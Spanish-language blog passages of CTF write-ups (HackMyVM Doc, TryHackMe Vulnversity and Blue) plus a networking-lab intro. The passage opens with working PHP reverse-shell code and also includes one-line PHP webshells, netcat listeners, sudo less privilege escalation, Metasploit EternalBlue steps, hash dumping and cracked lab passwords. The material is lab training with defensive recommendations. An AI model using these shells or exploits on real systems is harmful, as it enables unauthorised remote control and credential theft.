	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

```bash
locate rev php
```

```bash
<?php system($_GET['cmd']);?>
```

[Revshells](https://www.revshells.com)

Y nos ponemos en escucha por netcat asi:

```bash
nc -lnvp <IP>
```

Y listo.

![Terminal](https://i.postimg.cc/kgRhvmFt/ww-data.png)

### Tratamiento de la shell

Este paso es importante ya en ocasiones comandos como ls, nano o less no se visualizan de forma correcta, asi que podemos intentar con esto:

```bash
python -c 'import pty:pty.spawn("/bin/bash")
```

Y si los errores persisten podemos probar con una shell mas elaborada como la siguiente

Ejecutamos lo siguiente:

```bash
script /de/null -c bash
```

Nos arroja como resultado: *Script started, output log file is ‘/dev/null’. Y tenemos que hacer una reconexión con **CTRL + Z** Nos reconectamos con:

```bash
stty raw-echo;fg
```

Ahora escribimos **reset** Entonces nos preguntará que tipo de terminal queremos, asi que escribimos **xterm** y ahora tenemos una mejor terminal, pero no lo suficiente.

Ahora tenemos que exportar algunos parametos, escribimos

```bash
export SHELL=bash TERM=xterm

# Tambien podemos user SHELL=/bin/bash

# Para er las dimensiones de nuestra consola
stty size
stty -a

# Para redimensionar la consola ajustando los parametros
stty rows <ROWS> columns <COLUMNS>
```

### Escalamos a el usuario bella

En el directorio donde se encuentra el sitio podemos encontrar sus configuraciones y una flag:

Después de examinar varios archivos .php en el directorio nos topamos con **initialize.php** donde encontramos la configuración para la conexión para la base de datos, **user bella** y **password bell4yTU**, es para acceder a la base de datos pero comúnmente se reutilizan credenciales, *quizá estas credenciales también puedan ser usadas para acceder a un usuario en la maquina*. Usando el comando cat para ver el archivo */etc/passwd* encontramos que el usuario bella existe y tiene un home y una shell en bash en este servidor Debian, también esta MySQL Server, root y bella.

```bash
cd ~/html/traffic_offense
cat initialize.php
```

![Initialize php](https://i.postimg.cc/6qDC9D7D/Initialize-php.png)

Con el comando `bash-i` podríamos mejorar la shell actual. (Tambien podemos usar los anteriores)

## Post-Explotación

**Severidad:** Critical

Entonces sabiendo lo anterior nos conectamos al usuario bella con `su bella` y el password **bell4yTU** y genial!, tenemos acceso al usuario, pero vaya.. este *no tiene permisos de root*, entonces buscaremos una forma de poder subir a root. 

Usando el comando **sudo -l** podemos ver a que tiene acceso como sudo y notamos que tiene acceso al **comando less** que es un visualizador interactivo de archivos, podemos filtrar, ver líneas, buscar y también podemos ingresar otros comando estando dentro de la herramienta con el signo **!** Entonces si invocamos una bash **!/bin/bash** habiendo ejecutado **sudo less {cualquier archivo}** automáticamente nos volveremos **root**, por lo que es una vulnerabilidad, esta herramienta no debería tener permisos de sudo a menos que queramos que el usuario lo tenga y pueda ser root.

Esto mismo podemos verlo en GTFOBins con Sudo.

`sudo les /etc/profile`

Flag en el directorio home de bella:

> HMVtakemydocs

![Less command](https://i.postimg.cc/1zPcVhWS/comando-less.png)

![Root less](https://i.postimg.cc/zvj151Pf/root-less.png)

Vale, y ahora como root podremos acceder a la carpeta /root, en donde encontraremos la ultima flag.

> HMVfinallyroot

Como curiosidad nos conectamos a la bd con las credenciales de bella y podemos ver en la tabla users, las contraseñas hasheadas de los usuarios, en este caso ya sabemos que **chelsea** es contraseña de **vagrant** y usando *crackstation* o cualquier otra herramienta para md5 podemos ver que la contraseña para Administrador o **adminyo** es **admin123**

Probando esas credenciales ahora nos conectamos con mas facilidad.

![Database](https://i.postimg.cc/vHcPGsKS/bd.png)

![adminyo](https://i.postimg.cc/8CVwdrzq/adminyo.png)

## Análisis y Conclusiones

### Recomendaciones

- Sanitizar las consultas y proteger los formularios de inicio de sesión contra inyecciones sql
- Filtrar el tipo de archivos que se pueden subir en la imagen de perfil o cualquier otro input
- Activar el Rate-limit asi bloqueamos peticiones de fuerza bruta
- No reutilizar contraseñas para los servicios y mucho menos para usuarios
- Usar contraseñas mas fuertes admin123 no es fiable
- Desactivar servicios innecesarios y actualizar dependencias del sitio
- No mantener la bd y sitio en el mismo lugar
- Usar otro método para hashes y no usar md5 ya que es muy débil y obsoleto

---

&nbsp;

> Gracias por leer mi blog, espero que te haya gustado.

&nbsp;

* 💜 Acceso a más Writeups [--> WriteUps](https://aiskoa.vercel.app/writeup)


[WriteUp] - Doc (HackMyVM)


# Máquina "Vulnversity" (TryHackMe)

[📝 Download Spanish PDF Report](https://drive.google.com/file/d/1gkD94lRSYaorLr0cYcpJn_2-CPHzUlEO/view?usp=sharing)

&nbsp;

> *Difficulty Level: ⭐*

&nbsp;

A continuación se relata el reporte de pentesting para la máquina **Vulnversity** de TryHackMe con una dificultad *Facil*.
Se abarcará el uso de dirsearch (GoBuster o Dirbuster) hasta el uso de Burb Suite Community.

Resumen:

* Escaneo de puertos
* Explotación de vulnerabilidades
* Reverse Shell remoto

**IMPORTANTE** Debes tener una máquina virtual o un sistema operativo de auditoría con privilegios de root y una conexión a Internet.

## Metodologia

* Reconocimiento
* Enumeración
* Búsqueda y análisis de vulnerabilidades
* Explotación
* Post-explotación

**Reconocimiento**: Responde a las preguntas ¿Qué se atacará? y ¿Qué formará
parte de la prueba?

**Enumeración**: Se recolecta toda información posible de lo que se atacará para
realizar la prueba sin contratiempos

**Búsqueda y análisis de vulnerabilidades**: Identifica debilidades sobre lo que se
atacará, puertos, procesos, servicios entre otros.

**Explotación**: Aquí se comienza con el ataque utilizando todo lo anterior y con las
herramientas correctas.

**Post explotación**: Se buscan posibles vulnerabilidades extra o que más se podrá
atacar.

**Reporte de las pruebas**: Se redacta todo lo que se va haciendo durante la
auditoria.

## Reconocimiento yEnumeración

Durante el pre acuerdo se estableció que la maquina Objetivo se encuentra en la Red bajo la IP **10.10.167.123** por lo que esta se convierte en **la máquina objetivo** y de nuestro lado nuestra maquina se representa con la IP **10.6.42.149** .

Gracias a esto procedemos a lanzar un ping a la maquina victima y esperar respuesta.

Una vez con la respuesta por parte de la maquina victima confirmamos mediante el TTL que estamos frente a una máquina **Linux**, aún desconocemos su distribución y versión pero eso lo sabremos más adelante.

Con esta información podemos proceder a lanzar el escaneo usando **Nmap** y esperar que nos de el resultado, en este caso usamos un *--min-rate* alto ya que nos encontramos en un laboratorio controlado y podemos lanzar multiples trazas.

El comando desglosado:

| Campo | Valor |
| --- | --- |
| `-sV` | Intenta determinar la versión de los servicios que se estan ejecutando |
| `-p <x> or -p-` | Escaneo de puertos para el puerto `<x>` o todos |
| `-Pn` | Deshabilita la detección de host y el escaneo de puertos abiertos |
| `-A` | Habilita la detección de OS y la versión, integra más scripts |
| `-sC` | Escanea los scripts predeterminado de Nmap |
| `-v` | Modo detallado |
| `-sS` | TCP escaneo de puertos SYN |
| `-sU` | UDP escaneo |

**Comandos de Shell:**

```bash
nmap -p- -sV 10.10.167.123 --min-rate 5000 -oN all_ports.nmap -Pn
```

![nmap scan](https://i.ibb.co/mrV98d3x/img2-0-0.png)

**Severidad:** Medium
**Descripción:**
Una vez ejecutado el comando anterior nos arrojó los siguientes servicios corriendo en el sistema.

* **21/tcp** FTP v3.0.5
* **22/tcp** SSH
* **139/tcp** SMB 4 NetBIOS-ssn
* **445/tcp** SMB 4
* **3128/tcp** HTTP-PROXY Squid v4.10
* **3333/tcp** HTTP Apache 2.4.41 Ubuntu

Aqui se enumeran las vulnerabilidades de los servicios listados

* **21/tcp (FTP v3.0.5):** El puerto FTP es inseguro y puede ser explotado **mediante autenticación anónima**, secuencias de comandos entre sitios, ataques de fuerza bruta y ataques de salto de directorios.
* **22/tcp (SSH)**: Aunque SSH es un protocolo de acceso remoto seguro, puede ser vulnerable a **ataques de fuerza bruta de las credenciales SSH** o al uso de claves privadas para obtener acceso al sistema de destino.
* **139/tcp (SMB 4 NetBIOS-ssn):** El protocolo SMB (Server Message Block) ha sido históricamente vulnerable a varios tipos de ataques, como la ejecución remota de código y la escalación de privilegios. Una de las vulnerabilidades más famosas es **EternalBlue (MS17-010)**, que afecta SMBv1 y fue explotada por el ransomware WannaCry.
* **445/tcp (SMB 4):** Similar a 139/tcp, el puerto 445 también está asociado con SMB y puede ser vulnerable a ataques como EternalBlue. Además, permite la enumeración de recursos y usuarios en un sistema, lo que puede ser aprovechado por atacantes.
* **3128/tcp (HTTP-PROXY Squid v4.10)**: Los servidores proxy como Squid pueden ser vulnerables a**ataques de inyección de código**, configuraciones inseguras y exposición de información sensible. Es importante mantener las versiones actualizadas y configurar correctamente las reglas de acceso.
* **3333/tcp (HTTP Apache 2.4.41 Ubuntu):** El servidor HTTP Apache puede ser vulnerable a **inyecciones de SQL, secuencias de comandos entre sitios y falsificación de solicitudes**entre sitios. Es crucial aplicar parches de seguridad y mantener el software actualizado.

### Hazaña

Identificamos **6** puertos abiertos

* *¿Qué versión del proxy squid se está ejecutando en la máquina? R: 3.5.12*
* *Usando el indicador nmap -n ¿qué no resolverá? R: DNS*
* *¿Cuál es el sistema operativo más probable que ejecuta esta máquina? R: Ubuntu*
* *¿En qué puerto se ejecuta el servidor web? R: 3333 (Esto es bastante especial, ya que normalmente los sitios web funcionan en el puerto 80 (HTTP) o el puerto 443 (HTTPS).)*

![Screenshot of Index page](https://i.ibb.co/nqjzgf0L/img3-1-0.png)

Ahora sabemos que se esta alojando un servicio web con apache en el puerto *3333* lo que probablemente estemos frente a el lenguaje web **PHP**, este es un lenguaje de backend.

Usando dirsearch encontramos los directorios **/images**, **/css**, **/js**, **/fonts**, **/internal** los primeros no parecen ser especiales ya que corresponden a hojas de estilo, scripts, fuentes y las imagenes, todo esto para el funcionamiento correcto de la página, pero hay un directorio que es diferente al resto y este es **/internal**.

Este directorio es raro y hay que echarle un ojo a ello

```bash
dirsearch -u http://10.10.167.123:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150
```

![Fuzzing](https://i.ibb.co/k6r4LQLs/img3-2-0.png)

### Internal

**Descripción:**
El entrar a esta dirección nos damos cuenta que internal contiene un formulario donde se pueden subir archivos, en este formulario nos damos cuenta que no cualquier archivo es permitido ya que nos arroja la frase **Extension not allowed** lo que significa que solo ciertas extensiones deben permitir la subida del archivo, buscando por el código de la pagina nos damos cuenta que no es posible quitar este filtro por extensión desde el frontend lo que significa que solo el back es posible editar esto.

Por lo que solo queda buscar que tipo de extensión no es posible subir el archivo.

![Internal front](https://i.ibb.co/LzFKgmQM/img3-3-0.png)

## Explotación

### Reverse shell

**Descripción:**
Usando Wappalyzer, WhatWeb u otra herramienta o extensión confirmamos el uso de PHP como lenguaje para el sitio web.

Lo que significa que intentaremos alguna extensión permitida que nos permita tener el control del servidor usando php, lo que significa que buscaremos alguna extensión php que lo permita.

Para identificar qué extensiones no están bloqueadas, vamos a difuminar el formulario de carga. Para hacer esto, vamos a utilizar BurpSuite.

Para comenzar, crea una lista de palabras con las siguientes extensiones: en: *.php, .php3, .php4, .php5, .phtml*

![Screenshot of wappalyzer](https://i.ibb.co/yF5w7Hmh/img4-0-0.png)

Usando el intruder y sniffer en **Burbsuite** logramos realizar una automatización sobre las extensiones php y encontramos alguna que es aceptada por el filtro de extensiones.

Al hacer esto encontramos que la extensión permitida es **phtml** y gracias a esto sabemos que es posible cargar algun archivo malicioso o corrupto usando este tipo de extensión.

![Burbsuite capture](https://i.ibb.co/spCCXKr8/img4-1-0.png)

![Upload the phtml file](https://i.ibb.co/1Dc25Bz/img4-1-1.png)

## Post-Explotación

**Severidad:** Critical

Usando dirsearch descubrimos el directorio **uploads** en este se encuentran los archivos subidos desde front.
Entonces sabiendo esto intentamos subi una web shell para poder ejecutar comandos, posteriormente se intenta con una shell mas avanzada usando netcat

Como vemos en la imagen tenemos control de la maquina usando al usuario **www-data** quien es quien es responsable de apache y el servicio web.
El siguiente objetivo seria escalar privilegios para poder escalar al usuario **root*.

Con netcat es posible crear la reverse shell y poder ejecutar comandos desde terminal, solo nos ponemos en escucha por algun puerto y listo.

Para evitar esto es recomendable supervisar el codigo webb asegurandose conexiones autorizadas.

Creamos o buscamos una tiny shell para probar (*Simple HTTP Requests GET Method Shell*):

```bash
<?=`$_GET[0]`?>
```

Esto nos arrojara como resultado la ejecución del comando pero desde el navegador.

![Tiny shell exec](https://i.ibb.co/gMgtGR5F/img4-2-0.png)

Para ver y ejecutar comando de manera mas comoda desde nuestra terminal tendremos que crear alguna shell mas completa, asignando nuestra ip y puerto.
Y nos ponemos en escucha por algún mismo puerto.

```bash
nc -nlvp 1233
```

## Análisis y Conclusiones

Como vimos esta maquina su principal problema fue el hacer las configuraciones incorrectas y dejar a la deriva un formulario que no sew deberia ver siendo un visitante.
Tambien se encontró un formulario simple donde al subir el archivo con la extensión correcta era posible subir los archivos e infectarlos con codigo malicioso.

## Recomendaciones

* Hacer las configuraciones y programación adecuada de los servidores web, en especial en el codigo front.
* Hacer validaciones por conexión autorizada.
* Hacer una sanitization de datos en formularios
* Negar el paso a paginas que solo el administrador del sitio debe conocer.
* Crear una regla de **rate-limit** para evitar **fuzzing** y reconocimiento por fuerza bruta.
* Levantar un waf o filtros mas avanzados.- Hacer las configuraciones y programación adecuada de los servidores web, en especial en el codigo front.
* Actualización
* Uso de Firewall
* Utilizar alguna herramienta de monitoreo o SIEM/SOAR.

### Estandar

Se recomienda seguir el estándar NIST, específicamente NIST SP 800-53 y NIST SP 800-171.

* NIST SP 800-53: Es un catalogo de controles de seguridad que cubren lo necesario respecto a protección de sistemas.
    o Limita quien puede acceder a que (control de acceso).
    o Restringe servicios innecesarios (reducción de superficie de ataque).
    o Asegura la configuración del sistema (hardening)
    o Aplica parches a tiempo (gestión de vulnerabilidades).
    o Protege y supervisa.
    o Documenta y responde a incidentes
* NIST SP 800-171: Se enfoca a proteger información en sistemas de empresas.
    o Autenticación fuerte
    o Configuraciones seguras en los equipos.

## Fuentes de consulta

* Simple PHP Webshell | yuyudhn’s notes. (2024, June 26). Linuxsec.org. <https://htb.linuxsec.org/backdoor-stuff/php-webshell>

### Glosario de Hacking Ciberseguridad y Redes

Recomiendo revisar mi articulo sobre esto para poder entender de mejor los terminos de este writeup.

🍁 Glosario de terminos [--> Glosario](https://aiskoa.vercel.app/es/blog/glossary)

---

&nbsp;

> Gracias por leer mi blog, espero que te haya gustado.

&nbsp;

* 💜 Acceso a más writeups [--> WriteUps](https://aiskoa.vercel.app/writeup)


[WriteUp] - Vulnversity (TryHackMe)


# Machine: Blue (TryHackMe)

&nbsp;

> *Difficulty Level: ⭐*

&nbsp;

Blue es una máquina con una vulnerabilidad en el protocolo SMB 445. EternalBlue permite la ejecución remota de código que fue descubierto en [MS17-010]

Resumen:

* Escaneo de puertos
* Explotación de vulnerabilidades (MS17-010 / EternalBlue)
* Shell remoto
* Escalada de privilegios a NT AUTHORITY\SYSTEM
* Volcado de hash de contraseñas usando Hashdump
* Hash cracking con John the Ripper
* Búsqueda de banderas

**Al final del informe te daré un resumen de toda la máquina, en inglés y español 🥳.**

**IMPORTANTE** Debes tener una máquina virtual o un sistema operativo de auditoría con privilegios de root y una conexión a Internet.

## Metodologia

* Reconocimiento
* Enumeración
* Búsqueda y análisis de vulnerabilidades
* Explotación
* Post-explotación

**Reconocimiento**: Responde a las preguntas ¿Qué se atacará? y ¿Qué formará
parte de la prueba?

**Enumeración**: Se recolecta toda información posible de lo que se atacará para
realizar la prueba sin contratiempos

**Búsqueda y análisis de vulnerabilidades**: Identifica debilidades sobre lo que se
atacará, puertos, procesos, servicios entre otros.

**Explotación**: Aquí se comienza con el ataque utilizando todo lo anterior y con las
herramientas correctas.

**Post explotación**: Se buscan posibles vulnerabilidades extra o que más se podrá
atacar.

**Reporte de las pruebas**: Se redacta todo lo que se va haciendo durante la
auditoria.

## ¿Qué es EternalBlue?

Eternal Blue es un exploit que supuestamente fue desarrollado por la Agencia de Seguridad Nacional de los Estados Unidos (NSA).
Este programa fue robado y luego filtrado por "The Shadow Brokers". Luego fue utilizado para ejecutar uno de los ataques de ransomware más dañinos de la historia, conocido como Wannacry.
El programa del virus eternal blue fue diseñado para explotar una vulnerabilidad registrada como *CVE-2017-0144*, que corresponde a una falla de seguridad en el protocolo Server Message Block de Microsoft (SMB).
El parche de seguridad para esta vulnerabilidad del virus eternal blue, llamado *MS17-010*, fue lanzado en marzo de 2017.
El uso del exploit eternal blue afectó principalmente a hospitales, estaciones de policía y, en general, a organizaciones de todo el mundo.

[Versions with MS17-010](https://support.microsoft.com/es-es/topic/c%C3%B3mo-comprobar-que-ms17-010-est%C3%A1-instalado-f55d3f13-7a9c-688c-260b-477d0ec9f2c8)
[CVE Versions](https://success.trendmicro.com/en-US/solution/KA-0008859)

&nbsp;

## Reconocimiento - Escaneo de puertos

Empecemos con la fase de reconocimiento.
Nuestra IP es *10.8.42.68* y el objetivo es *10.10.90.82*.

```powershell
ping -c 4 10.10.90.82
```

Comprobamos que el destino tiene activadas las peticiones ICMP.

```powershell
sudo su
```

```powershell
nmap 10.10.90.82 -p- -sV -oN all_ports.nmap -Pn --min-rate 5000
```

Windows suele utilizar un valor TTL por defecto entre 126 y 128. Linux y los sistemas tipo Unix suelen optar por un valor TTL por defecto entre 62 y 64.

Por lo tanto, inferimos que nos enfrentamos a una maquina con Windows como sistema operativo. Una vez identificado lo anterior procederemos a realizar un escaneo de puertos utilizando la herramienta nmap.

El escaneo de puertos nos permite identificar que servicios corren dentro del activo y así posteriormente identificar vulnerabilidades.

El puerto 445/tcp para microsoft-ds Windows 7 está abierto, este es el puerto por el que se va a explotar la vulnerabilidad.

&nbsp;

## Enumeración

Usando Nmap se usa el comando *nmap 10.10.90.82 -p- -sV -oN all_ports.nmap -Pn --min-rate 5000* donde las opciones son:

* *-p-*: Escanea todos los puertos (desde el 1 hasta el 65535).
* *-sV*: Detecta versiones de los servicios en los puertos abiertos.
* *-oN all_ports.nmap*: Guarda los resultados en un archivo llamado all_ports.nmap que puede ser leído más tarde.
* *-Pn*: Omite el escaneo de ping y asume que el host está activo.
* *--min-rate 5000*: Establece una tasa mínima de 5000 paquetes por segundo, acelerando el escaneo, (cabe aclarar que esto causa mucho ruido).

![EscaneoBlue.png](https://i.postimg.cc/XYTQptyK/scanblue.png)

Descubrimos que responde a JON-PC y confirmamos que utiliza Windows 7 como sistema operativo.

Gracias a este escaneo identificamos los puertos:

* **135/tcp (MSRPC)**: Relacionado con el servicio de RPC de Windows.
* **139/tcp (NetBIOS-SSN)**: Es utilizado para compartir archivos y dispositivos
en redes locales.
* **445/tcp (SMB)**: Al igual que NetBIOS permite compartir archivos, impresoras, directorios y otros recursos entre dispositivos en una red.
* **3389/tcp (RDP)**: El protocolo RDP permite la conexión remota a computadoras a través de una interfaz gráfica. Es fundamental para la administración remota.
* **49152-49160/tcp (MSRPC dinámico)**: Estos puertos están relacionados con la asignación dinámica de RPC.

&nbsp;

## Búsqueda y análisis de vulnerabilidades

De todos estos puertos descubiertos por Nmap podemos identificar como pueden ser explotados, por ejemplo:

* **135** responde a msrpc que puede ser explotado por ataques como **Pass the-Hash** o vulnerabilidades en el servicio DCOM, también se encuentran las *CVE-2023-24869*, *CVE-2023-24908*, *CVE-2023-23405* identificadas en 2023 que permiten la Ejecución remota de código (RCE).
* **139** responde a netbios-ssn que si contiene una misconfig este puede dar paso a ataques de **Enumeración de credenciales**.
* **445** responde a smb que puede ser explotado con **EternalBlue** o **SMBGhost** en ciertas versiones. Para Linux recientemente se encontró *CVE-2025-37899* descubierto por el modelo o3 de OpenAI.
* **3389** responde a rpd este permite ataques de **Fuerza Bruta** o vulnerabilidades como **BlueKeep** para la Ejecución remota de código, también se identifica la vulnerabilidad *CVE-2022-21990*, que permite la **Conexión sin autenticación**.  

**Se decide que el puerto 445 será el indicado a explotar.**

El puerto 445 aloja al protocolo SMB, este se encuentra en una maquina Windows,
nos damos cuenta de que este protocolo puede ser vulnerado usando EternalBlue o SMBGhost las cuales responde a CVE-2017-0144 y CVE-2020-0796 ambos usados por los ransomware WannaCry y NotPetya.

### ¿Qué es el Packet crafting?

El Packet Crafting es una técnica utilizada en ciberseguridad donde los paquetes son creados o manipulados manualmente para explotar vulnerabilidades en una red o sistema. Este método permite personalizar el tráfico de red para llevar a cabo diversas actividades maliciosas, como el reconocimiento de la red, ataques de denegación de servicio o la filtración de datos.

Técnica que hace uso de la manipulación o creación de paquetes TCP/IP para saltarse sistemas de seguridad o efectuar ataques de enmascaramiento (spoofing).

## Explotación

Comenzamos con el ataque ya conocida la vulnerabilidad, para este caso usaremos **Metasploit** con el exploit **EternalBlue**.

Dentro de metasploit buscaremos la vulnerabilidad EternalBlue basandonos en su Rank o Descripción.

```powershell
msfconsole

> search ms17-010

or 

> search eternalblue

> use exploit/windows/smb/ms17_010_eternalblue

or 

> use 0

> show options
```

Posteriormente configuraremos las opciones de *show options*, aqui se nos piden ciertos parametros obligatorios y otros opcionales para comenzar con el ataque.

Se procede a configurar los parámetros necesarios como la ip de activo y la ip atacante y el puerto.

![showoptions](https://i.postimg.cc/k5TQX1FP/shwop.png)

```powershell
> set RHOSTS 10.10.90.82
> set LPORT 65000
> set LHOST 10.8.42.68

> run
```

Finalizada la configuración procedemos con la ejecución del exploit, el objetivo es obtener una sesión de meterpreter.

![runBlue](https://i.postimg.cc/wBGz4Cn3/bluaat.png)

La sesión de meterpreter se ha iniciado por lo tanto el exploit funciono correctamente.
Nos damos cuenta que se trata de un Windows 7 Professional build 7601, la cual se ha descontinuado en actualizaciones en enero del 2020.

Podemos ver la lista de comandos los cuales hay muchas opciones que nos permiten interactuar con el activo, uno de ellos es **screenshare**.

![blueHelp](https://i.postimg.cc/L88rdytP/bluehlp.png)

![screenshare](https://i.postimg.cc/XqvwNyQs/scrteen.png)

![screenBlue3](https://i.postimg.cc/sD7pjycd/screen3.png)

Entonces decidimos invocar una terminal remota para poder interactuar con el activo.

Nos damos cuenta al ejecutar el comando whoami que somos el usuario **NT/AUTHORITY/SYSTEM**

## ¿Qué es el usuario NT/AUTHORITY/SYSTEM?

El usuario NT AUTHORITY\SYSTEM en Windows es una cuenta especial con privilegios elevados que permite a los servicios del sistema operar con acceso total a los recursos locales. Es más poderosa que cualquier cuenta de administrador estándar y se usa para ejecutar procesos críticos del sistema.

Esta cuenta no está asociada a un usuario y se emplea para tareas como la administración de archivos, la ejecución de servicios y el acceso a recursos protegidos. Similar al usuario root en Linux.

Usando PowerShell desde nuestras maquinas podemos listar los servicios que se ejecutan bajo esta cuenta:

```powershell
Get-WmiObject win32_service | select Name, StartName | Where-Object {($_.StartName -eq "LocalSystem")} 
```

## Post-Explotación

Ahora nos interesa tener persistencia o buscar las flags ocultas en el equipo, si bien podemos usar herramientas de busqueda avanzada o crear un nuevo usuario con privilegios de administración, decidimos usar el usuario existente en la maquina, JON.

Usando hashdump obtenemos el listado de los usuarios alojados en el sistema con su respectivo password.

![hashdump](https://i.postimg.cc/02PQgDpY/image.png)

Podemos usar herramientas online para descifrar el hash pero usaremos John The Ripper para descifrar contraseñas y el diccionario rockyou.txt encontramos que la contraseña para el usuario Jon es: **alqfna22**.

![johntheripper](https://i.postimg.cc/k4PVBZtZ/image.png)

Por ultimo, utilizando el protocolo RDP del puerto 3389 que observamos que está abierto durante la fase de enumeración nos conectamos usando rdesktop.
Conectandonos a la maquina Windows  nos damos cuenta que esta desactualizada, ya que esta en una actualización de windows 7 vieja y por lo tanto muy vulnerable, por eso mismo fue posible usar eternalblue de forma tan sencilla.

![desktop](https://i.postimg.cc/5NytN1Ry/image.png)

Encontramos la evidencia (la flag3) dentro de System32/config que es donde se guardan las contraseñas en Windows 7.

![flag3](https://i.postimg.cc/SNtcymmN/image.png)

## Recomendaciones

Como se ha notado a lo largo del informe el impacto de esta vulnerabilidad es critica por lo tanto se recomienda seguir ciertas recomendaciones.

1. Actualización:
a. Instalar el parche de seguridad que Microsoft a proporcionado MS17-010.
b. Instalar las actualizaciones disponibles de Windows Update.
2. Desactivar los protocolos innecesarios y/o vulnerables:
a. Desde Programas y características, “Activar o desactivar características de Windows”, desmarcar “Soporte para compartir archivos SMB 1.0/CIFS”
b. también se puede desactivar desde PowerShell usando el comando: *sc.exe config lanmanworkstation depend=bowser/mrxsmb10/mrxsmb20/nsi sc.exe config mrxsmb10 start= disabled*
3. Uso de Firewall
a. Configura reglas de entrada solo para las fuentes y puertos necesarios.
4. Desactivar o asegurar RDP
a. Desactivar el RDP en favor de “Solo conexiones con autenticación a nivel de red (NLA)”, Desde panel de control, Sistema, “Configuración de acceso remoto”.
b. Usar contraseñas fuertes y 2FA si es posible.
5. Utilizar alguna herramienta de monitoreo o SIEM/SOAR.

### Estandar

Se recomienda seguir el estándar NIST, específicamente NIST SP 800-53 y NIST SP 800-171.

* NIST SP 800-53: Es un catalogo de controles de seguridad que cubren lo necesario respecto a protección de sistemas.
    o Limita quien puede acceder a que (control de acceso).
    o Restringe servicios innecesarios (reducción de superficie de ataque).
    o Asegura la configuración del sistema (hardening)
    o Aplica parches a tiempo (gestión de vulnerabilidades).
    o Protege y supervisa.
    o Documenta y responde a incidentes
* NIST SP 800-171: Se enfoca a proteger información en sistemas de empresas.
    o Autenticación fuerte
    o Configuraciones seguras en los equipos.

## Fuentes de consulta

* P. José Luis / Madrid, España. (n.d.). Packet crafting - GTI - Glosario Terminología informatica. T U G U R I U M. <https://www.tugurium.com/gti/termino.php?Tr=packet%20crafting>
* What is packet crafting? (2025, May 22). IT Certification Boot Camp Courses | Master IT Certifications Fast – Training Camp. <https://trainingcamp.com/glossary/packet-crafting/>
* <https://nvd.nist.gov/vuln/detail/cve-2017-0144>
* <https://nvd.nist.gov/vuln/detail/CVE-2025-29927>

### Glosario de Hacking Ciberseguridad y Redes

Recomiendo revisar mi articulo sobre esto para poder entender de mejor los terminos de este writeup.

🍁 Glosario de terminos [--> Glosario](https://aiskoa.vercel.app/es/blog/glossary)

---

&nbsp;
s
> Gracias por dleer mi blog, espero que te haya gustado.

&nbsp;

* 💜 Acceso a más writeups [--> WriteUps](https://aiskoa.vercel.app/writeup)


[WriteUp] - Blue (TryHackMe)


# Fundamentos Ciberseguridad (Parte 4)

&nbsp;

> *Difficulty Level: ⭐*

&nbsp;

Te mostraré como montar un laboratorio para pruebas en redes con PNET Lab desde Windows, usando VMware.

**IMPORTANTE** tener instalado VMware Workstation o VMware Player, SSH (Si aún lo tienes), FTP (Filezilla o WinSCP),

Firefox o Navegador Web que soporte HTML5, suficiente espacio en el disco duro conexión a interne y memoria ram de al menos 8GB.

## ¿Qué es PNET?

Es una plataforma diseñada para crear y gestionar entornos de simulación de redes.

PNET Lab se diferencia de otros emuladores en que permite la instalación y configuración de software de red real en las MV creadas,

ofreciendo una experiencia más realista y cercana a un entorno de red real.

## ¿Qué es Eve-ng?

Es un emulador que permite a los usuarios crear y simular entornos de red complejos. Es una herramienta ideal para la enseñanza y

el aprendizaje de redes, ya que permite a los estudiantes experimentar con diferentes

configuraciones de red y protocolos sin necesidad de hardware físico.

&nbsp;

### Cisco Packet Tracer: Simula redes basadas en dispositivos Cisco

VENTAJAS:  

- Es ideal para principiantes, con una interfaz intuitiva y fácil de configurar.  
- Está diseñado para alinearse con los programas como CCNA y CCNP.  
- No necesitas un equipo potente para ejecutarlo.  
- Si estás inscrito en Cisco Networking Academy.

DESVENTAJAS:  

- No incluye dispositivos de otros fabricantes.  
- Las funcionalidades avanzadas, como configurar dispositivos reales, son limitadas.  
- No soporta virtualización de imágenes reales de dispositivos (como IOSv).

### PNETLab: Emular redes complejas con imágenes reales de dispositivos

VENTAJAS:  

- Puedes emular dispositivos de Juniper, Palo Alto, Fortinet, entre otros.  
- Usa imágenes reales de sistemas operativos (IOSv, ASA) para simular dispositivos reales.  
- Puedes crear topologías más complejas y realistas para entornos empresariales.  
- Ideal para certificaciones avanzadas como CCNP, CCIE o pruebas en redes heterogéneas.

DESVENTAJAS:  

- Requiere una máquina más potente con suficiente RAM y CPU.  
- No es tan amigable para principiantes.  
